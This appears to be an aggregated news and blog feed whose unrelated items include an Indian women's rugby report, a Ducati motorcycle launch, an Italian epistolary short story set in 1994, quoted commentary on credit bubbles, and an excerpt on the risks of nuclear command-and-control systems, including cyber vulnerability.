News photographer’s tripod mistaken for gun prompts 911 call        
LANCASTER, Pa. (AP) — Police were called to a central Pennsylvania office building after someone mistakenly thought a photographer’s tripod was a gun.LNP (http://bit.ly/1lwvwVu ) reports the incident happened about 11 a.m. Wednesday at the Griest Building in Lancaster.The caller thought a machine gun was carried into the building, so police conducted a floor-by-floor search […]
          Indian girl’s finish 4th in Asian Rugby 7s        

by Shrutee K/DNS
Mumbai, August 7: The Indian Girls’ Under-20 rugby team performed creditably well to clinch the fourth position at the Asia Rugby U-20 Girls Sevens Series which was held at the Kings Park Stadium, Hong Kong, China on August 4 & 5, 2017. The team participated under the aegis of the Indian Rugby Football Union (IRFU), the governing body for the sport of Rugby in India and was supported by Societe Generale, the financial partner of Rugby India. The tournament was played on a round-robin league basis.
Playing against heavyweights, the Indian girl’s put up some impressive performances winning three of the six matches and finished among the top 4 from out of the 7 participating countries, namely China, Thailand, Singapore, Malaysia, Uzbekistan, India and hosts Hong Kong. The formidable and more experienced Chinese girls were crowned champions.
The Rugby India Girls played well but came up short against some stiff competition on the first day. They lost the opening match against Thailand (0-36) but won the second defeating Malaysia (10-0). The Indian girls suffered two more defeats, losing to China (0-32) and Hong Kong 0-39).
After a tough start to the tournament, the girls turned things around on the second day, registering two successive victories. Both matches went down to the wire but the girls handled the pressure well. First the Indian girls overcame Singapore 10-5 and later beat Uzbekistan 22-15.
We are extremely proud of the team’s performance at this tournament. It just goes to show that the future of women’s rugby in India is in safe hands.
The India team: RuchiShetty – Captain (Maharashtra), GargeeWalekar (Maharashtra), NeelamPatil (Maharashtra), RiaBisht (Delhi), Rajani Sabar (Odisha), BasantiPangi (Odisha), Manjulata Pradhan (Odisha), KabitaKasturi (Odisha), Chanda Oraon (West Bengal), Swapna Oraon (West Bengal), Suman Oraon (West Bengal), Punam Oraon (West Bengal).
The final Rankings: 1. China, 2. Thailand, 3. Hong Kong, 4. India, 5. Singapore, 6. Malaysia, 7. Uzbekistan
Performance of the Indian U20 Girls Rugby Team
Day One –4th August, 2017
Day Two- 5th August, 2017
Team
Score
vs
Score
Team

Score
vs
Score

Rugby India
0
vs
36
Thailand
Rugby India
10
vs
5
Singapore
Rugby India
10
vs
0
Malaysia
Rugby India
22
vs
15
Uzbekistan
Rugby India
0
vs
32
China

Rugby India
0
vs
39
Hong Kong

About Rugby India : Rugby India, founded in 1998, is the sole governing body for the sport of Rugby in India. Recognized by the Ministry of Youth Affairs & Sport, Govt. of India, Rugby India is a full member of World Rugby, Asia Rugby and the Indian Olympic Association (IOA). The body is responsible for the growth & development of the sport of Rugby across the country from the grassroots to the high performance level.
IRFU is the sole governing body of all formats of the sport of Rugby in India for all genders and ages. The formats included are as follows: Rugby Union, Fifteen-a-Side Rugby, Seven-a-Side Rugby, 10-a-Side Rugby, 12-a-Side Rugby, Touch Rugby, Non-Contact Rugby - Tag Rugby, Flag Rugby, Beach Rugby, Snow Rugby, Wheelchair Rugby, Underwater Rugby.
Rugby has been included in the School Games Federation of India (SGFI) for all age-groups (U14, U17 & U19 boys & girls) and the National University Games for both Men & Women, under the aegis of the Associationof Indian Universities (AIU), The sport is also a part of the Services Sports Control Board (SSCB) and played by the Paramilitary & Police Forces.
Rugby in India has a rich history and heritage and dates back to 1872. However, only over the last decade has the sport seen a major rise in following and Rugby India has been instrumental in garnering this interest across the country. There has been a significant growth and increase in participation numbers and currently, within India, over 120 Rugby Clubs are affiliated to our State and Districts Associations with competitive Rugby, for both Men & Women, being actively played across 24 States in India.


          Ducati launches Scrambler Café Racer in India at INR 9,32,000         


by Shrutee K/DNS

New Delhi : Ducati India announced the launch of the Scrambler Café Racer at INR 9,32,000 (Ex-showroom, India). The motorcycle is powered by the air and oil-cooled EURO 4-compliant 803 cc twin-cylinder engine. The Desmodue engine delivers 73 hp at 8,250 rpm* and a torque of 67 Nm at 5,750 rpm* and comes with blacktrimmed covers and machined cooling fins.   Sergi Canovas Garriga, Managing Director of Ducati India said, “This motorcycle is a modern interpretation of the legendary Café Racer scene from the 1960s that triggered a motorcycling revolution. It represents the expression of free spirit and is an icon of style for enthusiasts. We’re very confident that with the Ducati Scrambler Café Racer, we will successfully bring the global cultural phenomenon to India as well.”

The bike combines the best of the two worlds – the design language of the Scrambler brand and a sporty riding position. This version features rear-view mirror mounted aluminium clip-on handlebars, Termignoni exhaust with dual tailpipes, black anodized aluminium cover and a dedicated seat featuring a cover for the passenger section. 
This version has cast aluminium 17” wheels with Pirelli DIABLO™ ROSSO II tyres (120/70 ZR 17 at the front and 180/55 ZR17 at the rear). The Ducati Scrambler Café Racer mounts a Brembo braking system featuring Bosch 9.1 MP ABS with a pressure sensor. The Ducati Scrambler Café Racer also features a radial-type front brake pump ensuring true sport bike braking performance.

The Scrambler Café Racer has a dedicated line of accessories and apparel. The Ducati Scrambler Café Racer is now available in a Black Coffee colour with black frame and gold wheels across all Ducati dealerships in Delhi NCR, Mumbai, Bangalore, Pune, Ahmedabad & Kochi. 
  
Ducati Scrambler 
Ducati’s new Scrambler brand re-interprets the values of the Ducati Scrambler, the iconic twowheeler developed in the 1970s in the USA, which quickly became a worldwide success. Anticonformist, accessible and essential, the Ducati Scrambler is a perfect mix of tradition and modernity, a step towards the pure essence of motorcycling: two wheels, wide handlebars, a straightforward engine and endless fun. And, to meet everyone's individual “self-expression” needs the Ducati Scrambler comes in several different versions like the Icon, Classic and Full Throttle. This year two more versions join the Land of Joy: The Scrambler Desert Sled, a version that draws its inspiration from the off-road bikes that, back in the '60s and '70s, made US motorcycling history, and the Café Racer, the Scrambler interpretation of the legendary '60s bikes that triggered a motorcycling revolution

          1994        

From: "scrittore della domenica" <scritdom72@unimi.it>
To: "lorenzo" <Lrnz73@unipi.it>
Date sent: Mon, 14 Feb 1994 12:09:05
Subject: Eccomi

Mannaggia a te! Che c'era di male nelle lettere cartacee? Signornò. "Dai, mandami un'e-mail! E' facile, divertente, vedrai!". - Intanto ho dovuto iscrivermi al laboratorio d'informatica di questa cavolo di università, dove bisogna fare domanda in carta bollata anche per un caffè al bar. Poi, io il computer manco lo so usare. A quest'ora dovrei essere in sala studio a preparare l'esame di diritto privato comparato (capirai); invece sto qua ad arrovellarmi con tastiera e mouse.

Va beh. Ti scrivo per questo: devi assolutamente registrarmi un po' di cassette di musica rock. Hai presente? Quella che tu hai sempre detto che io la snobbo. Specialmente, quanto più progressive anni '70 riesci a procurarmi. Non so, gli Yes, i Genesis, i King Crimson, quella roba là. E poi il grunge. Non i Nirvana, ché onestamente non li reggo: Smashing Pumpkins, Pearl Jam, Soundgarden. E magari della musica da discoteca, però di un certo livello. E ci sarebbe un pezzo di un gruppo inglese che mi ossessiona, si chiama... ce l'ho sulla punta della lingua. Basta, appena mi ricordo il titolo te lo dico.

No, non sono impazzito. E' che ho conosciuto una ragazza molto simpatica che ha questi gusti musicali. Anche molto bella, a dire la verità. Anzi, la sola cosa che le vorrei dire è proprio questa: che la trovo bellissima. Ma, tu mi conosci; non c'è verso; se provo ad affrontare l'argomento, ammutolisco senza rimedio. Così mi servono urgentemente altri argomenti di conversazione. Lei studia inglese, e fin qui posso arrangiarmi. L'ho anche accompagnata a lezione, ho studiato i suoi appunti. Sai? Sto diventando, credo, il massimo esperto di T. S. Eliot di tutto il basso Ionio reggino. Quest'estate, se non altro, potrò esibirmi nei locali sul lungomare recitando The Waste Land a memoria.

Ma tutto questo non basta. Prima o poi dovrò trovare il coraggio di invitarla a uscire una sera, che so, ad un concerto, o addirittura (non ridere) a ballare. Perché ho capito che alle matinée in Conservatorio lei non ci viene. Ebbene, è qui che subentri tu. Devi aiutarmi ad andare oltre Beethoven. Ripeto, procurami del rock, perché mi serve come il pane!

Attendo tue notizie, stammi bene.

P.S. Mi sono ricordato il titolo di quella canzone: Creep, dei Radiohead.


From: "scrittore della domenica" <scritdom72@unimi.it>
To: "lorenzo" <Lrnz73@unipi.it>
Date sent: Mon, 21 Mar 1994 15:31:22
Subject: Re: Re: Eccomi

Grandi novità! Abbiamo occupato. Ora la nostra casa dello studente è Pensionato Universitario Occupato Autogestito. L'abbiamo deciso venerdì sera, al termine di un'agitata assemblea sugli ultimi aumenti delle rette e della mensa. Io mi sono aggiudicato la gran parte dei turni di notte in portineria: sia per evitare i turni di pulizia, sia perché mi piace fare le ore piccole e perché durante l'occupazione c'è un bel clima. Si parla, si beve, si fuma tabacco e non solo: effettivamente, non sto studiando granché. Però mi diverto.

Ieri, per esempio, verso la mezzanotte la situazione comprendeva una bottiglia di mirto, uno stereo, sei-sette persone fra cui Alice (la ragazza di cui ti ho parlato nella mia ultima lettera) e me. Il guaio è che dopo un'oretta loro sono usciti, per andare credo in discoteca, mentre io dovevo rimanere per continuare il turno; ma mi hanno lasciato la bottiglia, d'altronde semivuota, e lo stereo. O forse due bottiglie e due sterei, a quel punto non capivo più bene. Sono riuscito, in qualche modo, a togliere la cassetta dei Rage Against The Machine e a mettere su il Lamento d'Arianna di Monteverdi, che in quel momento era anche più adatto.

A proposito: mi hai registrato le cassette che ti ho chiesto? Se scendi anche tu in Calabria per le elezioni, tra una settimana me le puoi dare. Ma l'hai visto quel pagliaccio miliardario? E pensa che magari qualcuno lo voterà anche. Viviamo in un paese meraviglioso.


From: "scrittore della domenica" <scritdom72@unimi.it>
To: "lorenzo" <Lrnz73@unipi.it>
Date sent: Fri, 15 Apr 1994, 16:05:30
Subject: buona notte al secchio

La sai una cosa? Tre anni fa, dopo il diploma, commisi un solo errore.

Allo sportello della stazione chiesi un biglietto per Milano. Sbagliai: avrei dovuto comprare un sola andata per Londra, o per Parigi, o per Berlino.

L'occupazione è finita. L'Ente per il Diritto allo Studio ha promesso che, col nuovo bilancio, ben il 3,75% delle risorse aggiuntive sarà stanziato per porre rimedio ai recenti rincari delle tariffe, compatibilmente con il principio del pareggio contabile.

Insomma: non abbiamo ottenuto un bel niente.

Ho saputo che Alice si è fidanzata. Con uno studente d'ingegneria, milanese da varie generazioni e di ottima famiglia, buon giocatore dilettante di basket. Ha una macchina svedese con doppia alimentazione, benzina verde e gas, perché bisogna proteggere l'ambiente. Un bravissimo ragazzo.

Tutto è perduto. Mentre questa ridicola nazione, consegnatasi ancora volontaria nelle mani di un tirannello squilibrato, si avvia verso il suo triste destino, io ti comunico la mia irrevocabile decisione.

Pongo rimedio al mio errore.

Espatrio.

E basta, con queste e-mail del piffero! Ti farò avere prossimamente il mio nuovo recapito estero.

La sai un'altra cosa? Siamese Dream degli Smashing Pumpkins è molto più noioso della più tediosa sinfonia di Bruckner.


From: "scrittore della domenica" <scritdom72@unimi.it>
To: "lorenzo" <Lrnz73@unipi.it>
Date sent: Tue, 26 Apr 1994 16:28:43
Subject: scherzavo

E niente: all'estero non sono andato.

Ti spiego cos'è successo.

Sai che mi è sempre piaciuto stare sveglio fino a tardi; ultimamente sto esagerando; mi succede spesso di fare l'alba. Da un po' non scendo neanche più in sala studio, per non rischiare d'incontrare Alice. La sera me ne sto tappato in camera, ascoltando Brahms.

Un mio consiglio per i giovani: se abitate in una casa dello studente, cercate di non innamorarvi mai di un'altra persona ospite del pensionato. Soprattutto se non corrisposti.

Bene: domenica notte, mentre studiavo, ho messo su il Tristano. Così, tanto per cambiare. Ma, poco dopo il preludio, ho dovuto spegnere.

Frisch weht der Wind
Der Heimat zu
Mein Irisch Kind,
Wo weilest du?


Mi si è annebbiata la vista, e ho scoperto che avevo finito i kleenex. Ho chiuso il libro. Mi sono alzato dalla sedia e sono andato a lavarmi il viso con l'acqua fredda. Poi sono tornato alla scrivania.

Ho acceso il quinto canale della radio (quello che trasmette solo classica). C'era un brano di avanguardia; una cosa che non conoscevo, una specie di collage sonoro sul tipo di Revolution 9 dei Beatles, hai presente? Folle in tumulto, suoni strani, rumori ambientali, nastri in loop, voci umane che declamano sillabe incomprensibili. Un delirio.

Roba forte! Ho attaccato lo spinotto delle cuffie alla radio e mi sono sparato il brano nelle orecchie, chiudendo gli occhi e reclinando indietro la testa. A un certo punto, dal tappeto sonoro ha cominciato a emergere una voce femminile, che sembrava pronunciare un testo coerente. Dapprima si sentiva sullo sfondo, e non si capiva bene cosa dicesse; qualcosa sul Vietnam. Man mano, la voce diventava sempre più forte, più netta, e veniva sempre più in primo piano. Alla fine, con una presenza sonora impressionante, la voce scandiva, anzi no scolpiva, queste parole: "Rimanete qui, e combattete per la vostra dignità di uomini".

"Avete ascoltato: Luigi Nono, Contrappunto dialettico alla mente", ha detto l'annunciatore.

Ho staccato lo spinotto, ho tolto le cuffie e ho spento la radio.

Ho riconsiderato la mia intenzione di espatriare. Ho pensato: ma non l'ho già fatto? Sono già emigrato. E prima di me mio padre, proprio negli anni in cui Nono componeva quel pezzo.

Quante volte ancora voglio fare le valigie?

Possibile che l'unica soluzione sia quella di scappare sempre più lontano?

L'indomani, 25 aprile, sono andato alla manifestazione. Il concentramento era alle due del pomeriggio; ma mi sono svegliato così tardi che non ho potuto neanche fare colazione. Ho preso un caffè al distributore automatico giù in atrio e sono uscito, in direzione porta Venezia.

Era previsto un corteo molto grande. E' stato immenso. Mai vista tanta gente tutta insieme! E che varietà, quanti colori, che musiche, che allegria! Quanta pioggia, anche: veniva giù a secchiate, per tutta la durata della manifestazione.



Io ero in fondo al corteo, e pensa che non sono neppure riuscito a entrare in piazza Duomo, tanto era gremita! Ho svoltato per piazza Fontana, poi per via Larga. Ho vagato per un pezzo; non so chi o cosa mi aspettassi di trovare, a parte qualcosa da mettere sotto i denti, dato che avevo una fame da lupo.

Mi sono ritrovato, non so come, in piazza Sant'Alessandro, vicino alla facoltà di lingue, che naturalmente era chiusa; c'era però un bar-tavola calda miracolosamente aperto; mi ci sono fiondato dentro.

Ero seduto sul mio sgabello, dando le spalle all'ingresso, e divoravo la mia pizzetta, ovviamente pessima come solo a Milano la sanno fare, quando mi è parso di vedere una sorta di variazione nella luce. Come se avesse improvvisamente smesso di piovere e fosse uscito un sole splendente.

Mi giro, e vedo Alice entrare nel locale e raggiungermi.

Era in tenuta da manifestazione: jeans sdruciti, camicia grunge, niente make-up (lei che di solito è così curata). I lunghi capelli biondi inumiditi dalla pioggia, che intanto continuava a scrosciare.

"Ciao", le dico. "Dov'è il tuo fidanzato?"

"Sciocco", mi ha risposto. "Oggi ci sono cose più importanti", ha detto. "C'è mezza casa dello studente qui fuori: abbiamo fatto uno striscione molto figo, lo andiamo ad attaccare al portone dell'I.S.U. Cosa fai qua, solo come un gufo? Vieni anche tu!"

Non me lo sono fatto dire due volte.

E dunque. Fra un mese ho l'esame di diritto sindacale. Materia interessante, sai? Credo che chiederò la tesi.

Per ora rimango qui.

(Racconto già pubblicato su Evulon. Ogni riferimento a fatti, persone, città, eventi, uomini politici, bar e pizzette della realtà è puramente casuale).
          '..the amount of leverage and excess that has accumulated in bond and Credit markets..' (no replies)        
'..the amount of leverage and excess that has accumulated in bond and Credit markets over the past eight years of extreme monetary stimulus.'

'The Fed is not blind. They monitor stock prices and corporate debt issuance; they see residential and commercial real estate market values. Years of ultra-low rates have inflated Bubbles throughout commercial real estate – anything providing a yield – in excess of those going into 2008. Upper-end residential prices are significantly stretched across the country, also surpassing 2007. They see Silicon Valley and a Tech Bubble 2.0, with myriad excesses that in many respects put 1999 to shame. I’ll assume that the Fed is concerned with the amount of leverage and excess that has accumulated in bond and Credit markets over the past eight years of extreme monetary stimulus.

..

The Fed collapsed fed funds from 6.50% in December 2000 to an extraordinarily low 1.75% by the end of 2001. In the face of an escalating corporate debt crisis, the Fed took the unusual step of cutting rates another 50 bps in November 2002. Alarmingly, corporate Credit was failing to respond to traditional monetary policy measures (despite being aggressively applied). Ford in particular faced severe funding issues, though the entire corporate debt market was confronting liquidity issues. Recall that the S&P500 dropped 23.4% in 2002. The small caps lost 21.6%. The Nasdaq 100 (NDX) sank 37.6%, falling to 795 (having collapsed from a March 2000 high of 4,816). No financial instability?

..

I revisit history in an attempt at distinguishing reality from misperceptions. Of course the Fed will generally dismiss the consequences of Bubbles. They’re not going to aggressively embark on reflationary policies while espousing the dangers of asset price and speculative Bubbles. Instead, they have painted the “housing Bubble” as some egregious debt mountain aberration. And paraphrasing Kashkari, since today’s stock market has nowhere as much debt as housing had in 2007, there’s little to worry about from a crisis and financial instability perspective.

Well, if only that were the case. Debt is a critical issue, and there’s a whole lot more of it than back in 2008. Yet when it comes to fragility and financial crises, market misperceptions and distortions play fundamental roles. And there’s a reason why each bursting Bubble and resulting policy-induced reflation ensures a more precarious Bubble: Not only does the amount of debt continue to inflate, each increasingly intrusive policy response elicits a greater distorting impact on market perceptions.

I doubt Fed governor Bernanke actually anticipated that the Fed would have to resort to “helicopter money” and the “government printing press” when he introduced such extreme measures in his 2002 speeches. Yet seeing that the Fed was willing to push its monetary experiment in such a radical direction played a momentous role in reversing the 2002 corporate debt crisis, in the process stoking the fledgling mortgage finance Bubble. And the Bernanke Fed surely thought at the time that doubling its balance sheet during the 2008/09 crisis was a one-time response to a once-in-a-lifetime financial dislocation. I’ll assume they were sincere with their 2011 “exit strategy,” yet only a few short years later they’d again double the size of their holdings.

..

Despite assertions to the contrary, the bursting of the “tech” Bubble unleashed significant financial instability. To orchestrate reflation, the Fed marshaled a major rate collapse, which worked to stoke already robust mortgage Credit growth. The collapse in telecom debt, an unwind of market-based speculative leverage and the rapid slowdown in corporate borrowings was over time more than offset by a rapid expansion in housing debt and the enormous growth in mortgage-related speculative leverage (MBS, ABS, derivatives).

..

I’ve never felt comfortable that Chinese authorities appreciate the types of risks that have been mounting beneath the surface of their massively expanding Credit system. Global markets seemed attentive a year ago, but have since been swept away by the notion of the all-powerful “China put” conjoining with the steadfast “Fed put.” These types of market perceptions create tremendous inherent fragility.'

- Doug Noland, Discussions on the Fed Put, March 25, 2017


'It’s now an all-too-familiar Bubble Dynamic. The greater the Bubble inflates, the more impervious it becomes to cautious “tightening” measures..'

'The problem today is that years of ultra-loose monetary conditions have ensured everyone is crowded on the same bullish side of the boat. Tipping the vessel at this point will be chaotic, and the Fed clearly doesn’t want to be the instigator. Meanwhile, timid little baby-step increases only ensure more problematic market Bubbles and general financial excess.

It’s now an all-too-familiar Bubble Dynamic. The greater the Bubble inflates, the more impervious it becomes to cautious “tightening” measures. And the longer the accommodative backdrop fuels only more precarious Bubble Dynamics, the more certain it becomes that central bankers will approach monetary tightening timidly. Yellen confirmed to the markets Wednesday that the Fed would remain timid – still focused on some theoretical “neutral rate” and seemingly oblivious to conspicuous financial market excess. The fixation remains on consumer prices that are running just a tad under its 2% target. Meanwhile, runaway securities market inflation is completely disregarded.'

- Doug Noland, Another Missed Opportunity, March 18, 2017


'..In terms of Credit Bubble momentum, it’s notable that Net Worth inflated over $2.0 TN in both Q3 and Q4.'

'The unprecedented amount of system-wide debt is so enormous that the annual percentage gains no longer appear as alarming. Non-Financial Debt expanded 4.7% in 2016, up from 2015’s 4.4%. Total Household Debt expanded 3.6%, with Total Business borrowings up 5.6%. Financial Sector borrowings expanded 2.9% last year, the strongest expansion since 2008.

Securities markets remain the centerpiece of this long reflationary cycle. Total (debt and equities) Securities jumped $1.50 TN during Q4 to a record $80.344 TN, with a one-year rise of $4.80 TN. As a percentage of GDP, Total Securities increased to 426% from the year ago 415%. For comparison, Total Securities peaked at $55.3 TN during Q3 2007, or 379% of GDP. At the previous Q1 2000 cycle peak, Total Securities had reached $36.0 TN, or 359% of GDP.

The Household Balance Sheet also rather conspicuously illuminates Bubble Dynamics. Household Assets surged $6.0 TN during 2016 to a record $107.91 TN ($9.74 TN 2-yr gain). This compares to the peak Q3 2007 level of $81.9 TN and $70.0 TN to end 2008. Q4 alone saw Household Assets inflate $2.192 TN, with Financial Assets up $1.589 TN and real estate gaining $557bn.

With Household Liabilities increasing $473bn over the past year, Household Net Worth (assets minus liabilities) inflated a notable $5.518 TN in 2016 to a record $92.805 TN. As a percentage of GDP, Net Worth rose to a record 492%. For comparison, Household Net Worth-to-GDP ended 1999 at 435% ($43.1 TN) and 2007 at 453% ($66.5 TN). Net Worth fell to a cycle low 378% of GDP ($54.4TN) in Q1 2009. In terms of Credit Bubble momentum, it’s notable that Net Worth inflated over $2.0 TN in both Q3 and Q4.

..

UBS analysts forecast (above) $3.3 TN of 2017 Chinese Total Social Financing (TSF). And with TSF excluding national government deficit spending, let’s add another $300bn and presume 2017 Chinese system Credit growth of around $3.6 TN. As such, it’s possible that China and the U.S. could combine for Credit growth approaching an Unparalleled $6.0 TN. There are, as well, indications of an uptick in lending in the euro zone, and Credit conditions for the most part remain loose throughout EM. Importantly, the inflationary biases that have gained momentum in asset and securities markets and, increasingly, in consumer prices and corporate profits provide a tailwind for Credit expansion.'

- Doug Noland, Unparalleled Credit and Global Yields, March 10, 2017


Context

'..the S&P 500 is now far more overvalued than in 2000, 2007, or indeed in any prior point in history..'

          'We have no experience in stopping a nuclear war.' - Sidney Drell (no replies)        
'..My greatest concern is the lack of public awareness about this existential threat, the absence of a vigorous public debate about the nuclear-war plans of Russia and the United States, the silent consent to the roughly fifteen thousand nuclear weapons in the world. These machines have been carefully and ingeniously designed to kill us. Complacency increases the odds that, some day, they will. The “Titanic Effect” is a term used by software designers to explain how things can quietly go wrong in a complex technological system: the safer you assume the system to be, the more dangerous it is becoming.'

'The harsh rhetoric on both sides increases the danger of miscalculations and mistakes, as do other factors. Close encounters between the military aircraft of the United States and Russia have become routine, creating the potential for an unintended conflict. Many of the nuclear-weapon systems on both sides are aging and obsolete. The personnel who operate those systems often suffer from poor morale and poor training. None of their senior officers has firsthand experience making decisions during an actual nuclear crisis. And today’s command-and-control systems must contend with threats that barely existed during the Cold War: malware, spyware, worms, bugs, viruses, corrupted firmware, logic bombs, Trojan horses, and all the other modern tools of cyber warfare. The greatest danger is posed not by any technological innovation but by a dilemma that has haunted nuclear strategy since the first detonation of an atomic bomb: How do you prevent a nuclear attack while preserving the ability to launch one?

..

..the Cuban Missile Crisis, when a series of misperceptions, miscalculations, and command-and-control problems almost started an accidental nuclear war—despite the determination of both John F. Kennedy and Nikita Khrushchev to avoid one. In perhaps the most dangerous incident, the captain of a Soviet submarine mistakenly believed that his vessel was under attack by U.S. warships and ordered the firing of a torpedo armed with a nuclear warhead. His order was blocked by a fellow officer. Had the torpedo been fired, the United States would have retaliated with nuclear weapons. At the height of the crisis, while leaving the White House on a beautiful fall evening, McNamara had a strong feeling of dread—and for good reason: “I feared I might never live to see another Saturday night.”

..

The personnel who command, operate, and maintain the Minuteman III have also become grounds for concern. In 2013, the two-star general in charge of the entire Minuteman force was removed from duty after going on a drunken bender during a visit to Russia, behaving inappropriately with young Russian women, asking repeatedly if he could sing with a Beatles cover band at a Mexican restaurant in Moscow, and insulting his military hosts. The following year, almost a hundred Minuteman launch officers were disciplined for cheating on their proficiency exams. In 2015, three launch officers at Malmstrom Air Force Base, in Montana, were dismissed for using illegal drugs, including ecstasy, cocaine, and amphetamines. That same year, a launch officer at Minot Air Force Base, in North Dakota, was sentenced to twenty-five years in prison for heading a violent street gang, distributing drugs, sexually assaulting a girl under the age of sixteen, and using psilocybin, a powerful hallucinogen. As the job title implies, launch officers are entrusted with the keys for launching intercontinental ballistic missiles.

..

..A recent memoir, “Uncommon Cause,” written by General George Lee Butler, reveals that the Pentagon was not telling the truth. Butler was the head of the U.S. Strategic Command, responsible for all of America’s nuclear weapons, during the Administration of President George H. W. Bush.

According to Butler and Franklin Miller, a former director of strategic-forces policy at the Pentagon, launch-on-warning was an essential part of the Single Integrated Operational Plan (siop), the nation’s nuclear-war plan. Land-based missiles like the Minuteman III were aimed at some of the most important targets in the Soviet Union, including its anti-aircraft sites. If the Minuteman missiles were destroyed before liftoff, the siop would go awry, and American bombers might be shot down before reaching their targets. In order to prevail in a nuclear war, the siop had become dependent on getting Minuteman missiles off the ground immediately. Butler’s immersion in the details of the nuclear command-and-control system left him dismayed. “With the possible exception of the Soviet nuclear war plan, [the siop] was the single most absurd and irresponsible document I had ever reviewed in my life,” Butler concluded. “We escaped the Cold War without a nuclear holocaust by some combination of skill, luck, and divine intervention, and I suspect the latter in greatest proportion.” The siop called for the destruction of twelve thousand targets within the Soviet Union. Moscow would be struck by four hundred nuclear weapons; Kiev, the capital of the Ukraine, by about forty.

After the end of the Cold War, a Russian surprise attack became extremely unlikely. Nevertheless, hundreds of Minuteman III missiles remained on alert. The Cold War strategy endured because, in theory, it deterred a Russian attack on the missiles. McNamara called the policy “insane,” arguing that “there’s no military requirement for it.” George W. Bush, while running for President in 2000, criticized launch-on-warning, citing the “unacceptable risks of accidental or unauthorized launch.” Barack Obama, while running for President in 2008, promised to take Minuteman missiles off alert, warning that policies like launch-on-warning “increase the risk of catastrophic accidents or miscalculation.” Twenty scientists who have won the Nobel Prize, as well as the Union of Concerned Scientists, have expressed strong opposition to retaining a launch-on-warning capability. It has also been opposed by former Secretary of State Henry Kissinger, former Secretary of State George Shultz, and former Senator Sam Nunn. And yet the Minuteman III missiles still sit in their silos today, armed with warheads, ready to go.

William J. Perry, who served as Secretary of Defense during the Clinton Administration, not only opposes keeping Minuteman III missiles on alert but advocates getting rid of them entirely. “These missiles are some of the most dangerous weapons in the world,” Perry wrote in the Times, this September. For many reasons, he thinks the risk of a nuclear catastrophe is greater today than it was during the Cold War. While serving as an Under-Secretary of Defense in 1980, Perry also received a late-night call about an impending Soviet attack, a false alarm that still haunts him. “A catastrophic nuclear war could have started by accident.”

Bruce Blair, a former Minuteman launch officer, heads the anti-nuclear group Global Zero, teaches at Princeton University, and campaigns against a launch-on-warning policy. Blair has described the stresses that the warning of a Russian attack would put on America’s command-and-control system. American early-warning satellites would detect Russian missiles within three minutes of their launch. Officers at norad would confer for an additional three minutes, checking sensors to decide if an attack was actually occurring. The Integrated Tactical Warning/Attack System collects data from at least two independent information sources, relying on different physical principles, such as ground-based radar and satellite-based infrared sensors. If the norad officials thought that the warning was legitimate, the President of the United States would be contacted. He or she would remove the Black Book from a briefcase carried by a military aide. The Black Book describes nuclear retaliatory options, presented in cartoon-like illustrations that can be quickly understood.

..

Although the Air Force publicly dismissed the threat of a cyberattack on the nuclear command-and-control system, the incident raised alarm within the Pentagon about the system’s vulnerability. A malfunction that occurred by accident might also be caused deliberately. Those concerns were reinforced by a Defense Science Board report in January, 2013. It found that the Pentagon’s computer networks had been “built on inherently insecure architectures that are composed of, and increasingly using, foreign parts.” Red teams employed by the board were able to disrupt Pentagon systems with “relative ease,” using tools available on the Internet. “The complexity of modern software and hardware makes it difficult, if not impossible, to develop components without flaws or to detect malicious insertions,” the report concluded.

In a recent paper for the Royal United Services Institute for Defence and Security Studies, Andrew Futter, an associate professor at the University of Leicester, suggested that a nuclear command-and-control system might be hacked to gather intelligence about the system, to shut down the system, to spoof it, mislead it, or cause it to take some sort of action—like launching a missile. And, he wrote, there are a variety of ways it might be done.

..

Strict precautions have been taken to thwart a cyberattack on the U.S. nuclear command-and-control system. Every line of nuclear code has been scrutinized for errors and bugs. The system is “air-gapped,” meaning that its networks are closed: someone can’t just go onto the Internet and tap into a computer at a Minuteman III control center. At least, that’s the theory. Russia, China, and North Korea have sophisticated cyber-warfare programs and techniques. General James Cartwright—the former head of the U.S. Strategic Command who recently pleaded guilty to leaking information about Stuxnet—thinks that it’s reasonable to believe the system has already been penetrated. “You’ve either been hacked, and you’re not admitting it, or you’re being hacked and don’t know it,” Cartwright said last year.

If communications between Minuteman control centers and their missiles are interrupted, the missiles can still be launched by ultra-high-frequency radio signals transmitted by special military aircraft. The ability to launch missiles by radio serves as a backup to the control centers—and also creates an entry point into the network that could be exploited in a cyberattack. The messages sent within the nuclear command-and-control system are highly encrypted. Launch codes are split in two, and no single person is allowed to know both parts. But the complete code is stored in computers—where it could be obtained or corrupted by an insider.

Some of America’s most secret secrets were recently hacked and stolen by a couple of private contractors working inside the N.S.A., Edward Snowden and Harold T. Martin III, both employees of Booz Allen Hamilton. The N.S.A. is responsible for generating and encrypting the nuclear launch codes. And the security of the nuclear command-and-control system is being assured not only by government officials but also by the employees of private firms, including software engineers who work for Boeing, Amazon, and Microsoft.

Lord Des Browne, a former U.K. Minister of Defense, is concerned that even ballistic-missile submarines may be compromised by malware. Browne is now the vice-chairman of the Nuclear Threat Initiative, a nonprofit seeking to reduce the danger posed by weapons of mass destruction, where he heads a task force examining the risk of cyberattacks on nuclear command-and-control systems. Browne thinks that the cyber threat is being cavalierly dismissed by many in power. The Royal Navy’s decision to save money by using Windows for Submarines, a version of Windows XP, as the operating system for its ballistic-missile subs seems especially shortsighted. Windows XP was discontinued six years ago, and Microsoft warned that any computer running it after April, 2014, “should not be considered protected as there will be no security updates.” Each of the U.K. subs has eight missiles carrying a total of forty nuclear weapons. “It is shocking to think that my home computer is probably running a newer version of Windows than the U.K.’s military submarines,” Brown said.In 2013, General C. Robert Kehler, the head of the U.S. Strategic Command, testified before the Senate Armed Services Committee about the risk of cyberattacks on the nuclear command-and-control system. He expressed confidence that the U.S. system was secure. When Senator Bill Nelson asked if somebody could hack into the Russian or Chinese systems and launch a ballistic missile carrying a nuclear warhead, Kehler replied, “Senator, I don’t know . . . I do not know.”

